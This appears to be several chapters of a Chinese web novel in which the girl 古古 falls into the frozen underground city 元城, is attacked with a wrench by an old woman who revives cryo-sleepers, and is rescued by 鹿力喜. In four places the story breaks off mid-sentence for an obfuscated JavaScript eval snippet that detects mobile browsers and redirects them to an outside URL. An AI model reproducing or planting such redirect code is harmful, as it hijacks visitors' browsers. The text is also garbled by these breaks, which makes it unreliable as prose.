“葛马?”她喊道,然而,还是没有人回应她。她往声源的方向走,白色的雪地上没有任何人的影子,只是那咯吱咯吱的声音还在传来。 她走到雪地中央,往四周看了看,周围不见有什么人影,但那踩雪的声音还在响。她仔细分辨了一下声音的源头,最终发现,那动静居然是从她脚底下发出来的。 古古低下头去,然而就在这一瞬间,她感觉自己下陷了一点。 “咦?”她看到自己的左脚没入了雪中,想把它抽回来,然而,抽左脚的时候,右脚又深深地陷了进去。 “呃……!”她每动一下,身体就会下陷几分。雪地在吞噬着她,膝盖、大腿、胯、腰、胸口。她越是想要挣脱,便下沉得越深,脚下的雪仿佛无底洞一般。 她稳住心态,尝试不动,可依然在下陷。 “救、救命!”她呼喊着,但这里没有任何人能够帮助她,天和地都在看着她坠落。 寒冷灌入了她的领口,她反应了一阵子,那是雪。她挣动了一下双腿,更多的雪花盖在了她的脸上。 她彻彻底底掉进雪坑里了。 怎么办,怎么办? 被困住了! 她从来没有这方面的经验,不知道到底要怎么做才能把自己救出去。 徒劳地挣扎,可是地面却离她越来越远,冷到说不出一句话来,周围的雪裹挟着她,渐渐身体也动不了了。 可是下陷还在继续,她有些绝望地想,不会就要这么掉到地心里去吧。 不知下沉了多久,突然,她感觉周身一下子轻松了,那些雪不再挤压她的身体,咚一声,她摔在了什么东西的上面。 怎么回事!? 周围一片漆黑,她什么也看不清,触觉告诉她,她已经不在积雪里面了。 向四周摸去,冰冷的金属触感从指尖传了回来。用指节敲了敲,遥远的回响传来,似乎她正处于某种巨大的金属管道。 她试图站起来,但是头顶上是雪,只好弯下身子。前面似乎有一条通道,于是她便往那个方向走去。 然而,没走两步,突然,她脚下一个打滑,一屁股摔在地上,整个人沿着光滑的内壁不受控制地滑了起来。 “唔啊啊!”她向四周撑开四肢,但是无济于事,根本停不下来。 速度越来越快,她开始恐慌,如果再这么下去,速度到达极限,撞上什么东西的话,她肯定就没命了! 这么想着的时候,前方出现了一个亮点,随着接近,它在扩大,看上去像是一个出口。 那会通向哪里,会是雪洞吗?总不至于是悬崖吧! 管道进入了一段平滑的区间,她费尽了九牛二虎之力,终于把自己的速度降了下来,而那个光点也十分临近。她看清了,那里有一个栅栏一样的拦截物,而在那更后面的,便是光明。 眼看着就要逼近出口,古古伸出双手,拦在自己的身前,将身体蜷缩起来,以应对即将到来的冲击。 三……二……一…… 她心里默数着冲击到来的时间,计时结束的时候,她已经做好了准备。 嘭的一声,她撞上了什么东西,它似乎并不牢固,一下子就被撞开了。紧接着,没有坠落感袭来,她的身体在平面上滚了一阵,而后停在一片坑洼的地面上,手臂硌得生疼。 她抬起头,回头看去,视野里是一面墙,墙上面有一个圆形的通道口,通道口罩着一道铁门,破败不堪,似乎经年未修。铁门此刻歪斜地向一旁坠着,显然是刚刚被她撞开的。 她想要站起来,然而,脚下却突然踩了空。她重心不稳跌坐在地,低头,看到身下是一个个镂空的铁格子,下方还有一个更大的房间。自己的脚踩进了其中的一个格子之间,探了出去,好在这些格子的密度不大,虽然她的脚会踩空,但人却不至于掉下去。 她往下方的空间看去,那是一个密闭的房间,有些昏暗。而她看到的光亮,就是从房间的门缝透过来的。 古古不禁疑惑,自己究竟来到了什么地方?按照她刚才的感受来看,她应该是一直在下陷,难道说,她落入了什么山中城堡吗? 古古怀揣着疑惑,走在铁格子上。来到墙边,发现了一架梯子,似乎是为了方便人们爬上爬下而设计的。 她沿着那梯子爬下来,静悄悄地落在这个黑漆漆的房间内。 盯着门缝里透来的那一点点光亮,她小心翼翼地靠过去,扒着门,悄悄地看着门外面的情况。 外面似乎是另一个房间,房顶上挂着一个光源,古古不知道那是什么,它比烛火要亮,但是比一般的火焰要昏黄。 在光源的下方,陈列着好几排木棺一样的舱体,唯一不同的是,那些舱体似乎是金属制成的,有许多管道连接在每一个舱体的背面。 古古咽了口口水,鼓起勇气,推开了门。老旧的门发出吱呀一声,让她背后出了一阵冷汗,她赶忙观察四周,反复确认自己似乎没有惊动什么东西,这才继续行动。 这第二间房间摆着四五排舱体,最远端还有一扇门,不知道通向哪里,古古暂且称之为房间三。 她往新出现的门走去,偶然之间,侧过头,看了一眼那周围的棺材一样的舱体。不看还好,这一看,她浑身冰冷,瞬间走不动路了。 在那柱形的容器中,有一张人脸,闭着眼,毫无生机。 她吓得差点跌坐下去,连连后退了好几步。 那是什么?! 目光投向左右两侧,她惊恐地发现所有的舱体里都有人,那些人脸死气沉沉,皮肤泛青,看上去一点活人的气息都没有。 古古愣了好半天,这才缓缓回过神来。她小心翼翼地向那容器靠过去,每一步都那么小心,生怕动静大了,这些半生不死的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564641|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人突然睁开眼睛,那就太吓人了。 随着距离的接近,她看清了舱体里具体是怎么回事,那里面没有空气,而是充斥着透明的结晶,古古推测那应该是冰。那些人就被凝固在冰里,没有呼吸,没有动作,仿佛在沉眠一般。 舱体的底部贴着一小块金属,那上面写着名字和职业,似乎是对应着舱体里的人。 古古站在一旁,她胆子越来越大了,专注地观察着容器里的人,注视一个陌生女人冻成霜的眼睫。 他们在这里做什么,是谁把他们放在这里的? 一个个困惑进入古古的脑海。 这时候,尽头的门传来了一阵脚步声。 古古机灵地躲到了其中一个舱体的背后,小心地探出头来。 门开了,从对面走进来一个人。 能见到活人,她很是欣喜,但是,在这人生地不熟的情况下,还是先观察一番再行动为好。 从那道门里走进来的人有着一头白色的长发,凌乱地披在身后,步伐十分缓慢。那是个上了年纪的女人,看起来十分苍老,皮肤惨白。她好像在寻找什么,向四周打量了一番,而后,来到一个舱体面前,蹲下来查看铭牌,嘟囔了一句什么,站起来,按下舱体旁的一个开关。 紧接着,舱体周围散发出白色的蒸汽,连接它的管道全部脱离了。老女人拉着舱体上一个把手一样的地方,拖动着巨大的物件,就这么往她来时的那道门走。 她把舱体拖进了那第三个房间,白发女人的身影消失在了门后,门却没有关上。 古古盯着那道门,一阵子过去了,又一阵子过去了,它还是没有被关上。 好奇心驱使着她,让她从阴影里走出来,往房间三进发。 她蹑手蹑脚摸到了门旁,透过那一条缝隙,往里面看去。 视野中是一架巨大的仪器,那几乎有四五个成年人加在一起那么高。着庞然大物像是在喋喋不休地说话,不停地发出咚咚、噗嗤噗嗤的声响。 白发女人在那仪器上操作了一番,它发出响动,突然张开一张大口,露出一个方形的洞。而老女人则把刚才拖走的舱体塞进了那个洞口中,咔哒一声,舱体和空洞完美地契合在一起。 而后,蒸汽从巨型仪器中冒出来,像在生气发火一样。古古感到一股热风袭来,甚至烘暖了冰冷已经的身体,使它渐渐又了强劲的知觉。 她不解地看着眼前发生的一切。 为什么一个老女人,会在一个这样的地方,把冻僵了的人类尸体放进一个巨大的仪器之中? 她这么做,到底是为了什么? 房间里的女人不再有什么动作,她在一把椅子上坐下来,然后像是静止了一般,就那么愣神地盯着它。 滴滴,滴滴。 从来没听过的声音传进古古的耳中,她听见嗡鸣,又听见沸腾的煮水声,在那巨大的容器里究竟在发生什么,她根本想象不出来。 就这么观察了好一阵子,突然,那仪器发出汽笛一般的声音,吓了她一大跳。 老女人从座椅上站起来,打开舱体的盖子,一汪清水从里面流了出来。 紧接着,一个男人从里面爬了出来,浑身湿漉漉的,身上穿着奇怪的袍子,他滚落在了地上,似乎很痛苦,躺在地板上不停地咳嗽。 古古吸了一口气,忍住,没有让自己发出声音。 活了? 那个舱体里的人,活了!? 158. 点灯人4 这是在进行什么复活仪式吗,她是不是看到了不该看的东西? 对面,老女人将男人搀扶了起来,男人依然在咳嗽,说话的声音遥遥传来,“咳咳……我这是……” 苍老的女人开口了,“感觉怎么样,身体有没有哪里不适?” “我没事……“男人看着女人,脸色突然十分惊讶,说道,“等等,你是……不会吧,您怎么变成这样了?” 女人没回话。 “时间……时间究竟过去多久了?”男人问。 苍老的女人道:“想知道的话,自己出去看,我也记不太清了。” 男人的模样有些不可置信,他轻声问道:“难道……在那之后,您就一直留在这里吗?” 女人的声音十分缓慢,像是因为苍老,也像是因为寒冷,“没有。我和他离开了,去往了一个峡谷。待到一切安定下来之后,我又回到了这里。这是……他留给我的任务。” 听到这里,男人一顿,叹息了一声,视线突然向古古的方向投来。 她连忙缩回了身子。 “还剩多少人,母上?”男人望着房门的方向,问,“还剩多少冰眠人?” “我不知道。”女人说。 “……”男人沉默了一阵子,恳请地道,“母上,您把技术教给我吧,让我帮您。您看上去……很累了。” 女人拒绝了他,“这是我的职责,而你也该去履行你的责任。” “可是……我派不上什么用场。我只是个给奈歌打下手的,自己的研究也做不好,脑力活帮不上忙……不如留在这里有用。” 古古听了一个激灵,刚才,他提到了谁? 奈歌?难道那个男人在说自己的母亲? 不会吧,是巧合吗? 古古鼓足了勇气,再次探出头来。她眯起眼睛,想要看清对面那个男人。他大概二十岁出头,一头短发,带着一个眼镜,身形不算特别高大,看上去像是一位学者。 而且……他看起来十分眼熟。 苍老的女人道:“我早就把她解放出去了,你与其留在这里,不如去找她。” 男人一愣,“那是什么时候的事了?” 女人答:“我说了,我一直没有什么时间的概念。如果非要我给你一个答案……十年?或者二十年。” “啊……”男人的模样似乎有些落寞,他垂着头,看起来有些泄气,“本来我就比她笨,连夜苦读才追上她的成绩,这下又拉开了这么多年差距,再见到她,她会看不起我吧……” 女人的声音有些厌烦,她说道:“好了,不要在这里打搅我。王应该交代过你们每个人的责任,无论它是大是小,重不重要,去履行它,离开这里。” 说到这里,男人的目光严肃了起来,“母上,王现在在哪里?” “我不知道。”女人答,她背过身去,在那巨大的仪器上操作起来,“但我们最后分别的峡谷,他多情地给那里起名为挚忘峡。如果后人沿用了他这感性的地名,你或许可以找过去,问问他还在不在那里。” “挚忘峡?我记住了。”男人道。 “不过,别报太大的希望。”苍老的女人道,她的声音突然沉重起来,“毕竟,他当年离开这里,沿着海岸线远行,最终去往中原,不是为了逃命,而是为了吸引上方的注意,以便保护他的子民。如果他失败了,他可能还活着;如果他成功了,那么——” 这时候,一阵吱呀声打断了他们的谈话。 古古也听到了这个声音,而且,令她浑身僵硬的是,这个声音就从她的身边传来。 她刚才听得入神,竟然靠在了门上,连推动了它也不自知。 对面两人的视线齐刷刷地掷来,女人喊道:“谁在那里!” 古古吓得一屁股跌坐在地上,蹬腿就往后跑。她一点和那两人打招呼的想法都没有,在听到了那些内容之后,她不觉得暴露自己是一个明智的选择。 脚步声在逼近,她头也不敢回,慌张地找到了一个角落,藏在一个装着冰冻人的舱体之后,尽量地蜷缩身体。 两个脚步声进入了房间,停留在门口,他们似乎在检视着整个空间。接着,两人开始走动起来,一排排检查着舱体间的缝隙。 古古巧妙地躲在两人视野的死角,变换着角度,不让他们发现自己。 “是不是听错了,母上。”男人停下了脚步,说道,“这间房是密闭的,连老鼠也跑不进来。是不是熔炉的热风吹动了门,才发出了声音?” 女人依然在巡视,她没有因为男人的话语而停下脚步。她依次走过每个舱体,不放过每一个可能藏人的角落。 “母上,这里没有什么异常。”男人再次说道,“不会有人的……” “如果有人怎么办?”女人说,“如果有人把这里的事情泄露出去,你承担得起这个责任吗?” 男人像是无话可说,“我……” “如果让任何人知道了我们的存在,神罚随时都有可能降下,那样,我们之前所做的一切都会变成徒劳。”苍老的女人道。 男人支吾了一声,不再反驳她了。 两人又巡视了好几圈,躲进舱体底部的古古盯着那两双时近时远的鞋,心脏都快跳出来了。 终于,一无所获,一男一女放弃了,往门口的方向走去。 离开房间之前,女人回头又环视了一番,还是没发现什么。她抬起手来,按下一个开关,啪一声,房间顶部的光源一下子灭了,紧接着,关门声传了过来。 古古又等了一阵子,确保朦胧的脚步声走远了,这才从舱体下面爬出来。 已经顾不得身上是否粘满了污垢,她摸索着,来到门口,伏在门上,听着外面的动静。 必须想办法尽快离开这里,果然和她想的一样,这里的事情是不得外泄的机密。如果被他们发现抓了起来,恐怕,迎接她的不会有什么好下场。 门外没有传来任何响声,这扇门的隔音效果很好,连外面那巨大仪器的响动声也听不见。 她趴在门上,试图听到那两人的交谈。如果能听到就好了,她就知道什么时候能打开门逃走。 太暗了,伸手不见的黑暗让人神经紧绷,无法冷静地思考。 有没有什么方法让这里亮起来? 她想起来,女人在离开前似乎按下了一个开关,开关就在门边不远,她按下去之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564642|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,头顶的光源就灭了。古古想,如果自己再按一次的话,是不是房间里就又能亮起来了? 想到这里,摸索着墙壁,在一片黑暗中,试图找到那个能控制光源的开关。 她的手碰到了一个凸起,不清楚那是什么,上下戳弄了一番,啪的一声,它触发了。 突然之间,强烈的光线照亮了整个房间,她成功了。 “终于肯出来了啊。” 忽然,背后响起一个声音。 古古猛然回身,脸色僵硬。 白发的女人站在她面前,她的脸上像是没有任何的脂肪,就那么惨淡地凹陷下去,衣衫破破烂烂,似乎已经很久没有修补,牙齿也参差不齐,张嘴的时候,甚至能透过她脱落的牙缝间,看到她发红的舌头和喉咙。 古古瞬间腿就软了,她一屁股跌坐在地上,几乎违背她自己的意愿。她张口,却发现什么话也说不出来,巨大的震惊笼住了她,让她什么也做不了。 “你是什么人?”对面的女人问,她手上有一个巨大的扳手,那上面盖着一些污浊的痕迹,像是血,也像是人体的组织凝固而成的某种物质,“不说话?需要我敲开你的脑袋,看看你在想什么吗?” “不,不,别……”古古惊恐地吐出几个单音,她太害怕了,几乎什么也解释不了。 女人抬起了扳手,朝着古古的脑袋便砸了下来。 “啊!!”古古抱头逃窜,她听到了嘭的一声,毫无意外,那女人手里的扳手应该是砸在了铁门上。从那巨大的声音听来,她应该是下了死手。 这女人真的要在这里杀了她! 为什么,只是因为她听到了那些内容?还是单纯因为她出现在了这里? 没功夫想这些事情了,古古手里没有可以抵御的武器,她只能从地上连滚带爬地爬起来,然后向房间内部跑,躲进了两个舱体的缝隙之间,然而,这里绝对不算安全。 不远处的女人提着扳手,慢慢朝她走来,像是死神在迫近。 恐惧在古古的身体内极速攀升,她听到自己的心脏砰砰直跳。 不行,不能这样下去,继续待在这里,肯定就没命了! 这么想着,她的目光落在通向那个巨大仪器的门上。只要能接近那扇门的话…… 就在她这么想的时候,余光瞥见女人渐渐逼近。她屏息待了一阵,在女人出现在左侧的通道时,飞速地从右面逃了出去,然后不顾一切地往门口跑。 古古头也不敢回,身后响起了女人的奔跑声,那只巨大的扳手拖着地,发出咣当咣当的声响。 眼看着马上就要抵达门口了,然而,古古听到一声风被割裂的声音,而后,她的背部受到了猛击,剧痛随之而来。 视野一下子倾斜,她脚下不稳,瞬间到地不起。 双臂撑在地面,胳膊肘传来猛烈撞击的钝痛,但是,这比不上她背部的疼痛。那种疼痛,仿佛她的脊椎已经断了一般,她根本直不起身来,只能那么趴在地上。 她努力地扭头,想查看后面的情况。只见那个女人抬起上臂,扳手依然握在她的手里,她在积蓄力量,准备打第二下。 而这第二下,绝对是她承受不起的。 159. 点灯人5 古古咬着牙,忍痛从地上爬起来,对生的渴望驱使着她的行动,她现在满脑袋都是逃脱,除此之外,几乎什么也没有。 背后又是一阵剧痛,她踉跄了一下,那扳手可能又打中了她,但是,她没有再倒下去。前方就是门口,她迫不及待地开门逃了出去。 隆隆,隆隆。 第三个房间中,巨大的仪器发出低沉的奏鸣,有无数的管道从地面钻出来,连接在这个不知倦怠的巨大仪器上。 这是一个圆形的房间,除了中央的仪器之外,几乎什么都没有,四周开着七八道门,全都是关着的,不知道通向什么地方。开着许多扇门。在那巨大仪器的背后,也开着三扇门。 现在,她需要做一个决定,究竟应该选择哪扇门逃出去。 身后的恶魔紧随而至,她没有多少思考的时间。 古古选择了与自己处于同一条直线上的门,因为它从方向上来看是前进的,这给了她一种能从这里逃脱出去的确信感。 身后的鬼魅穷追不舍,古古朝自己选择的方向狂奔。她的身形并不高大,在奔跑上没有什么优势,好几次,她都感觉那死神的手已经握住了她的后脖颈,她只能拼了命地加速,一次次从那种冰冷的感觉中挣脱出来。 终于,她来到了那扇门前,伸手去摸把手,想要打开它—— 咯哒,门是锁死的。 她的心几乎一瞬间就凉了。 阴影在她面前的门上投一块灰黑的区域,古古回过身来,靠在那门上,盯着缓缓逼近的苍老女人,身体不住地下滑,“我没有恶意,放我一马吧……” 她的背很痛,因为不停地狂奔,人也上气不接下气的。 老女人在手里掂量了一把扳手,她似乎在思考些什么,然而,思考很快结束,她做了决定。她又抬起了那只扳手,目标依然是古古的头颅。 后者实在没有躲闪的力气,她将双臂抬起来,咬紧了牙关迎接冲击。 千钧一发之际,她脑海里闪过许多想法。 怎么会这样,她要在这里被人活活打死吗? 高山上,寒冷的雪没有击垮她,饥饿没有击垮她,但是,她莫名其妙地掉进这个地方,只是因为见到了一些事,听到了一些话,她就要因为这个而死吗? 扳手的阴影落在她的脸上,它马上就要垂落下来了,古古甚至能感受到它运动时刮出来的风。 就在这时,身后传来了响动,她感觉背后突然一空,一下子翻仰过去,一只手抓住了她的肩膀,把她向后拖。 怎么回事?她背后应该是一道锁死的门才对。是谁在拽着她? 眼前的景象骤然远去,老女人的扳手挥了个空,她神色凶狠,马上又要追上来,但是,突然之间,她面前的那道门啪一下子自动合上了,古古所在的地方变成了一片黑暗。 哐哐的砸门声从外面传来,那个白发苍苍的女人似乎打不开这扇门。 “你没事吧?” 一个男性的声音从她的身后传来,古古回头,然而,她只能看清一个模糊的影子,这间房间很暗,她刚从一片恐怖的光明中进来,暂时还没有适应这令人心安的黑暗。 似乎是见她不言语,那个男人解释道:“把你吓坏了吧……母上她,有些激动。她不希望这里的秘密流传出去,所以采取的方式有些过激。” 古古听到了母上这个称呼,她突然反应过来这个黑暗之中的人是谁。这个男人,是刚才在那个巨大的熔炉之中“醒来”或者说“复活”的人。 “这是哪?那个女人……你是谁?”古古惊慌地说着,她一时组织不好语言,恐惧依然盘踞在心头,萦绕不去。 “我暂时关上了门,她要是想打开的话,得花上一点时间。有了这些时间,足够你逃出去了。” 古古听到男人的脚步声,他走远了,而后,咯哒一声,突然之间,这个房间亮了起来。 古古眯起眼睛,强烈的光线让她无法适应。她感觉脑袋浑浑噩噩的,身上的伤口很疼,眼睛也不舒服,整个人像是随时随地都能昏死过去。 有了光线,她终于能看清一些东西。对面那个男人的确是刚才苏醒的那一个,这回离近了看到他,古古愈发觉得他眼熟了。 男人回到了古古的身边,在她的面前蹲下来,拿后背冲着她,“你好像伤得挺严重,到我的背上来吧。” 男人不知道是否值得信任。不过,除了他以外,古古还能信任谁呢?只凭她自己肯定是逃不出去了,甚至连站起来走两步都难,只能暂时依赖这个见过两面的人。 她勉强直起了自己的身子,背部的疼痛让她行为缓慢,她趴在了男人的背上,而后,脚下腾空,整个人被轻松背了起来。 古古睁着疲惫的眼睛,看着周围,这是条看似没有尽头的廊道,四周都是灰白色的金属墙壁,看上去冷冰冰的,不近人情。 男人背着她往前小步慢跑着,头顶上昏黄的光源一盏接一盏闪过,“看你的样子,应该不是从冷冻仓里出来的。你是从哪儿来的?” 古古回想了一番自己的经历,回答道:“我是从外面掉进来的。” “外面?”男人重复了一声,状似不解。 “嗯,从雪地上掉下来的。”古古轻声地道,因为疼痛和惧怕而不敢大声说话, 男人张着嘴巴,一脸不太相信的模样,“你是说,你是从山顶上掉下来的?我的天,这不应该——难道当年工程师还修了什么别的通路吗?等等,不会是排气管吧……” 古古不知道男人在说些什么,她保持着沉默。 “为什么你会去山顶上?”男人问,“这上方是雪山吧,我记得这个位置……应该是横古山脉最严峻的那段。你怎么会爬到那上面去?” 古古有气无力地回答他,“我在……找一个地方。” “地方?”男人回头看了一眼,似乎在确认她的状态,他的模样有些担心,“说真的,你还好吗?我看到母上打到了你,你要不要紧?需不需要、需不需要我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564643|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去找个地方看看你的伤?” 古古闷闷地说道:“我的背很痛。” “很痛是吗?好吧,我带你去医疗室。那地方我记得应该是在……唉,我们怎么会被转移到这种地方来?这边我不熟啊……” 男人自言自语一般,自顾自嘀咕着。 颠簸之中,古古感觉有些困,离开了那个放置着巨大熔炉的房间,周围渐渐寒冷起来,她感受到一种沉眠的召唤,在颠簸中闭上眼睛,昏昏沉沉。 就这么持续了一阵子,她听见男人在叫她。 “喂,醒一醒。” 古古睁开眼睛,周围有些黑,她不知道自己在哪。 “我太蠢了,我应该想到,这里所有的一切都被冻住了。包括医疗室。”男人说道,“但没关系,就算要凿冰,我也会给你拿出点医疗物资来。” 古古闭了几次眼睛,试图让自己的视野清晰一些,她看到头顶上有一块岩石,而他们的脚下是一个栈桥,栈桥上全都结上了冰。左手边有一扇门,门和门把手上都是霜,看上去根本打不开。 古古的视线转向右侧,突然,她睁大了眼睛。 那是……什么? 在她面前的,是一栋巨大的楼房,它镶嵌在岩壁之中,顶层没入了上方的地层。 它的窗格排列得十分整齐,大概有三十层高,然而,每一扇窗户都结着冰,整栋楼似乎都被冰封住了一般。 在它的前方,立着一尊比楼房一半还高的雕像,那是一个男人,它上身赤|裸,下身穿着长褂,手里抓着一条锁链,而那锁链缠绕在它的身上。 一条空中的栈道从雕像的腋下穿过,中间有一个观景台,似乎是为了人们瞻仰雕像的尊荣而准备。空中栈道向深处延伸,再往那个方向看去,只能看见栈道拐进了山壁之间。拐过那个山壁,似乎还有一番洞天。 这奇特的地貌,古古从未见过,但毫无疑问,他们现在一定处于地下,这和她从雪里掉下来的认知相符。 “这是什么地方……?”古古下意识地问道。 男人听到了她的声音,回答道:“如你所见,这是一座地下城市。” “地下城市?”听到这个形容,一些记忆在她的脑海中翻腾。横古山脉下的地下城市,真有这么个地方?那这里岂不就是…… “元城。这是它的名字。”男人道。 古古猛然抽气,她彻底清醒了,“你说这里是元城?!” 男人意外地看着她,“怎么了,你为什么那么惊讶?” “元城是真实存在的!?”古古惊道,她在漫长的攀登雪山的过程中,已经不期待能找到这座城市了,“真的不是传说?” 男人震惊,“什么,究竟过去了多久,我们已经成为了神话吗?” 这里就是元城,那个传说中的地下城市。是葛马说要带她来的地方,也是母亲给父亲寄信的地址……她想知道的一切,都在这个黑漆漆、冷飕飕、整个像是被冻结了一般的地下城市里。 160. 点灯人6 “这里……和我想象得不太一样。”古古讷讷地说道。她观察着四周的地貌,但是,他们好像刚好处于拐角,除了那栋冰封的大楼、被锁链环绕的雕像、凭空而起的栈道以外,什么也看不到。 男人继续往前走,医务室进不去,他似乎已经有了别的打算,“说实话,也和我印象里的不太一样。出来才知道,事态居然这么严峻,难怪当年王要让我们都……” 他说到一半,自顾自地停止了自己上一个话题,眉毛皱成了一团,“话说,现在是哪一年?这么重要的事情我居然没有问母上!不,不对……她应该也没有感知了……” “现在是寒纪两零一年。”古古回答说。 “原来是寒纪两零一年啊,原来如此,怪不得……”男人嘀咕着,突然,他声音爆发了,“都一百年过去了!?” 古古盯着他,不明白他在说些什么。 “我睡了那么久吗!?不对,这不对劲……当时不是说这项技术还很青涩吗?大家不都是抱着试试看的心态……难道说其实已经很成熟了,只是上面哄骗我们……” 从他的话语中,古古大概猜测出了一部分事情的原貌。面前的这个男人,似乎是通过什么技术沉睡了,就冻在那些充满了冰块的舱体里,而那个白头发的女人所做的,就是为他们解冻。 不过,这种事,也太……这真的是现实中能发生的事情吗? 这让古古想起了母亲的信,地下室的那一封。那封信上写到,古奈歌有一个职责,那就是研究——研究什么来着?古古只记得是个什么冰眠人有关的内容。 难道这几件事中有什么联系…… 男人苦恼的声音打断了她的思绪,对方似乎很是纠结,在得知已经有了一百年的差距之后,他似乎有些崩溃,“不应该呀!就算是上面骗了我们,只说这是一场实验,那奈歌也应该知道点什么,她要是知道冰眠人的技术已经成熟了,就一定会告诉我,她不可能不告诉我。欸,等等,难道她是觉得我太笨了,故意不跟我说……” 古古沉思了一阵,有句话,她不得不问。在男人结束了自己的自言自语后,古古开口了,“你一直提到的奈歌是什么人?” 这话一问出来,男人青涩的脸上泛起了一片浅色的红,低低笑了两声,“她是我老婆。哦不对,我们还没结婚,但是我们已经这么称呼彼此了。” 古古感觉自己的心脏在怦怦直跳,她看着眼前这个男人,他笑起来的酒窝,他短促的、有些乱糟糟的头发,他天真善良的性格。这些汇集在一起,形成了一个亲和的整体。 古古的嘴唇在颤抖,她有一个猜想。 她向男人问道:“……你叫什么名字,先生?” 男人把她往上提了提,每一个动作都是那么小心,“哦对,我们还没有自我介绍呢。我叫鹿力喜。你呢?” 古古一怔。 鹿力喜。阿喜。在母亲信件上曾经出现过的那个名字。 真的有这么巧吗? 她不敢相信。 遭遇了这一连串事情,从甾染的沦陷开始,她和燕无的落荒而逃,再到雪山的折磨,还有那个白发女人的追击,每一件事都在她脑海里烙下了不小的阴影。 有多久,她没有感觉到庆幸了? 就连现在,她也不敢有一丝的懈怠,不敢相信这突如其来的好运,她不觉得那是真的,只认为是老天爷为了让她陷入更深的绝望,而派来的幻象。 但是,眼前的人又是真么的真实,得知了那个名字之后,古古再看着男人的脸,怎么看,似乎怎么都能在他的脸上看出熟悉的痕迹。 和她看着镜中的自己时,相似的痕迹。 “我叫……”古古喘息着,一股莫名的情绪堵在她的胸口,闹得那里酸涩发胀,“我叫——” 然而,没等她说出口,他们背后炸开了一声巨响。两人回过头去,只见身后的栈桥上,苍老女人的身影犹如恶鬼一般站在那里,她似乎怒气冲冲,周围散发着阵阵白气。而她的手上,不再是那个短小的扳手,而是换成了一个大型的工具。 古古不知道那个长着锯齿的用具是什么,只知道它一定不是什么能让人开心起来的东西。 鹿力喜吓了一跳,背着古古就跑,“母上怎么这么快就追出来了!” “你在干什么!为什么要包庇入侵者——!”女人的声音从后方传来,它撕裂、苍老,但是,似乎有包含着滔天的怒意。声音甚至不像是人类,而像是某种古老的、易怒的神明。 鹿力喜边跑边说:“她不是入侵者,她只是不小心从山顶上掉下来的!” 鬼魅一般的女人在他们身后穷追不舍,“把她给我留下!你还是那么习惯掉入敌人话语的陷阱!” “她不是我们的敌人!她怎么可能是?她这么瘦小,不知所措,怎么看都不是故意来窥探我们的秘密的啊!”鹿力喜辩解道。 “你再往前跑,让她看到了一切,我就不得不真的杀死她了!”女人道。 听到这一句,鹿力喜猛然停了下来。他的身体僵硬,十分不情愿地转过身来,“我们、我们不跑了,母上,别那么杀气重重的,好吗?我害怕。” “你的确应该怕我。”女人在他们的面前停了下来,她手里的工具在孜孜不倦地旋转着,那些锯齿高速移动,已经看不清它们每个的形状,“你要是闯了什么篓子,导致我们的事业失败,我会亲自锯掉你的双手和双脚……不,果然我还是不应该让你醒来,你给我再回去待上十年吧。” “我已经睡了一百年了母上!可别再让我回去了。”鹿力喜大声说。 “一百年?”对面的女人问。 “是啊!是她告诉我的。”鹿力喜朝自己背后努努嘴,说道,“她说已经寒纪两百年了,我们出事时是寒纪一百年,对吧,我没记错吧?” “……”女人将沉默的视线向古古投来。 古古只觉得有一把刀子向自己她掷过来,她藏在了鹿力喜的身后,避开对方的视线。 女人命令道:“你把她给我放下来。” 鹿力喜往后退了两步,“您打算干什么?” 老女人道:“把她交给我,不然我连你们两个一起锯成肉段。” “母上,别说这么可怕的话,行吗?我心脏不好,您是知道的。” “别跟我废话了。把她给我,我不能让外人见到了这一切后活着走出这个地方。”女人道,她嫌弃地盯着鹿力喜,训斥他,“省省你的良心,想想我们死去的子民,你打算毁了所有人的心血吗?” 鹿力喜辩驳道:“这不是可以轻易杀死一个人的理由……” “想想奈歌付出的一切,鹿力喜,你连她都不在乎了吗?” 鹿力喜的肩膀有些垮,他突然没什么话可说了,“我……” “我什么也不会说。”突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564644|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 